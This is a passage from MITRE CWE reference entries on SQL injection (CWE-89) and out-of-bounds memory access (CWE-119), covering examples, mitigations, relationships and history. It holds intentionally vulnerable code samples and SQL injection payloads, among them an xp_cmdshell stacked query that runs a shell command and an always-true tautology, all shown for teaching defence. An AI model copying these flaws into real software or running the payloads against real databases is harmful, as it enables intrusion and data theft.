One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

  • Target fields that are not quoted

  • Find ways to bypass the need for certain escaped meta-characters

  • Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

(Bad Code)
 
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';
end get_item;

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

(Bad Code)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE

Where $user_input is taken from an untrusted source.

If the user provides the string:

(Attack)
 
'; exec master..xp_cmdshell 'dir' --

The query will take the following form:

(Attack)
 
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE

Now, this query can be broken down into:

  1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';

  2. a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'

  3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5

This code intends to print a message summary given the message ID.

(Bad Code)
Example Language: PHP 
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

(Attack)
 
1432' or '1' = '1

This would produce the resulting query:

(Result)
 
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

(Good Code)
Example Language: PHP 
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

Example 6

This example attempts to take a last name provided by a user and enter it into a database.

(Bad Code)
Example Language: Perl 
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = whiteList($name, "^a-zA-z'-$");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";

While the programmer applies a whitelist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens which are used as comment structures in SQL. If a user specifies -- then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the whitelist permits the apostrophe which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

+ Observed Examples
ReferenceDescription
chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.
SQL injection through an ID that was supposed to be numeric.
SQL injection through an ID that was supposed to be numeric.
SQL injection via user name.
SQL injection via user name or password fields.
SQL injection in security product, using a crafted group name.
SQL injection in authentication library.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [R.89.3]

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.89.12]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When constructing SQL query strings, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory713OWASP Top Ten 2007 Category A2 - Injection Flaws
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory810OWASP Top Ten 2010 Category A1 - Injection
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory929OWASP Top Ten 2013 Category A1 - Injection
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfWeakness ClassWeakness Class943Improper Neutralization of Special Elements in Data Query Logic
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
ChildOfCategoryCategory1005Input Validation and Representation
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness VariantWeakness Variant564SQL Injection: Hibernate
Development Concepts (primary)699
Weaknesses in OWASP Top Ten (2013) (primary)928
Research Concepts (primary)1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
+ Relationship Notes

SQL injection can be resultant from special character mismanagement, MAID, or blacklist/whitelist problems. It can be primary to authentication errors.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSQL injection
7 Pernicious KingdomsSQL Injection
CLASPSQL injection
OWASP Top Ten 2007A2CWE More SpecificInjection Flaws
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
WASC19SQL Injection
Software Fault PatternsSFP24Tainted input to command
+ White Box Definitions

A weakness where the code path has:

1. start statement that accepts input and

2. end statement that performs an SQL command where

a. the input is part of the SQL command and

b. input contains SQL syntax (esp. query separator)

+ References
[R.89.1] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 1: SQL Injection." Page 3. McGraw-Hill. 2010.
[R.89.2] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 12, "Database Input Issues" Page 397. 2nd Edition. Microsoft. 2002.
[R.89.3] OWASP. "SQL Injection Prevention Cheat Sheet". <http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>.
[R.89.4] Steven Friedl. "SQL Injection Attacks by Example". 2007-10-10. <http://www.unixwiz.net/techtips/sql-injection.html>.
[R.89.5] Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007-03-15. <http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>.
[R.89.6] David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". Wiley. 2005-07-14.
[R.89.7] David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". Wiley. 2007-01-30.
[R.89.8] Microsoft. "SQL Injection". December 2008. <http://msdn.microsoft.com/en-us/library/ms161953.aspx>.
[R.89.9] Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". <http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx>.
[R.89.10] Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008-05-15. <http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx>.
[R.89.11] Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". SANS Software Security Institute. 2010-03-01. <http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/>.
[R.89.12] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.89.13] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "SQL Queries", Page 431.. 1st Edition. Addison Wesley. 2006.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "SQL Injection", Page 1061.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
7 Pernicious KingdomsExternally Mined
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples
2009-01-12CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name, Related_Attack_Patterns
2009-07-17KDM AnalyticsExternal
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITREInternal
updated Description, Name, White_Box_Definitions
2009-12-28CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-02-16CWE Content TeamMITREInternal
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-06-23CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11SQL Injection
2008-09-09Failure to Sanitize Data into SQL Queries (aka 'SQL Injection')
2009-01-12Failure to Sanitize Data within SQL Queries (aka 'SQL Injection')
2009-05-27Failure to Preserve SQL Query Structure (aka 'SQL Injection')
2009-07-27Failure to Preserve SQL Query Structure ('SQL Injection')
2010-06-21Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119
Abstraction: Class
Status: Usable
Presentation Filter:
+ Description

Description Summary

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

+ Alternate Terms
Memory Corruption:

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

C: (Often)

C++: (Often)

Assembly

Languages without memory management support

Platform Notes

It is possible in many programming languages to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands; Modify memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability
Confidentiality

Technical Impact: Read memory; DoS: crash / exit / restart; DoS: resource consumption (CPU); DoS: resource consumption (memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality

Technical Impact: Read memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

+ Likelihood of Exploit

High

+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode Quality Analysis

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

  • Source Code Quality Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(Bad Code)
Example Language:
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr;
char hostname[64];
in_addr_t inet_addr(const char *cp);

/*routine that ensures user_supplied_addr is in the right format for conversion */
validate_addr_form(user_supplied_addr);
addr = inet_addr(user_supplied_addr);
hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(Bad Code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){
/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 3

The following example asks a user for an offset into an array to select an item.

(Bad Code)
Example Language:

int main (int argc, char **argv) {
char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);
}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(Bad Code)
Example Language:
int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum
// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];
}
// if array index is invalid then output error message
// and return value indicating error
else {
printf("Value is: %d\n", array[index]);
value = -1;
}

return value;
}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(Good Code)
Example Language:

...

// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {

...
+ Observed Examples
ReferenceDescription
Classic stack-based buffer overflow in media player using a long entry in a playlist
Heap-based buffer overflow in media player using a long entry in a playlist
large precision value in a format string triggers overflow
negative offset value leads to out-of-bounds read
malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
chain: lack of synchronization leads to memory corruption
attacker-controlled array index leads to code execution
chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
product accepts crafted messages that lead to a dereference of an arbitrary pointer
chain: malformed input causes dereference of uninitialized memory
OS kernel trusts userland-supplied length value, allowing reading of sensitive information
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

  • Double check that your buffer is as large as you specify.

  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

  • Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.

  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Operation

Strategy: Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.

Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].

Effectiveness: Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy: Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].

Effectiveness: Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)Named Chain(s) this relationship pertains toChain(s)
ChildOfCategoryCategory19Data Processing Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class118Incorrect Access of Indexable Resource ('Range Error')
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory726OWASP Top Ten 2004 Category A5 - Buffer Overflows
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory740CERT C Secure Coding Section 06 - Arrays (ARR)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory741CERT C Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory744CERT C Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C Secure Coding Standard734
ChildOfCategoryCategory7522009 Top 25 - Risky Resource Management
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory878CERT C++ Secure Coding Section 10 - Environment (ENV)
Weaknesses Addressed by the CERT C++ Secure Coding Standard868
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness BaseWeakness Base120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
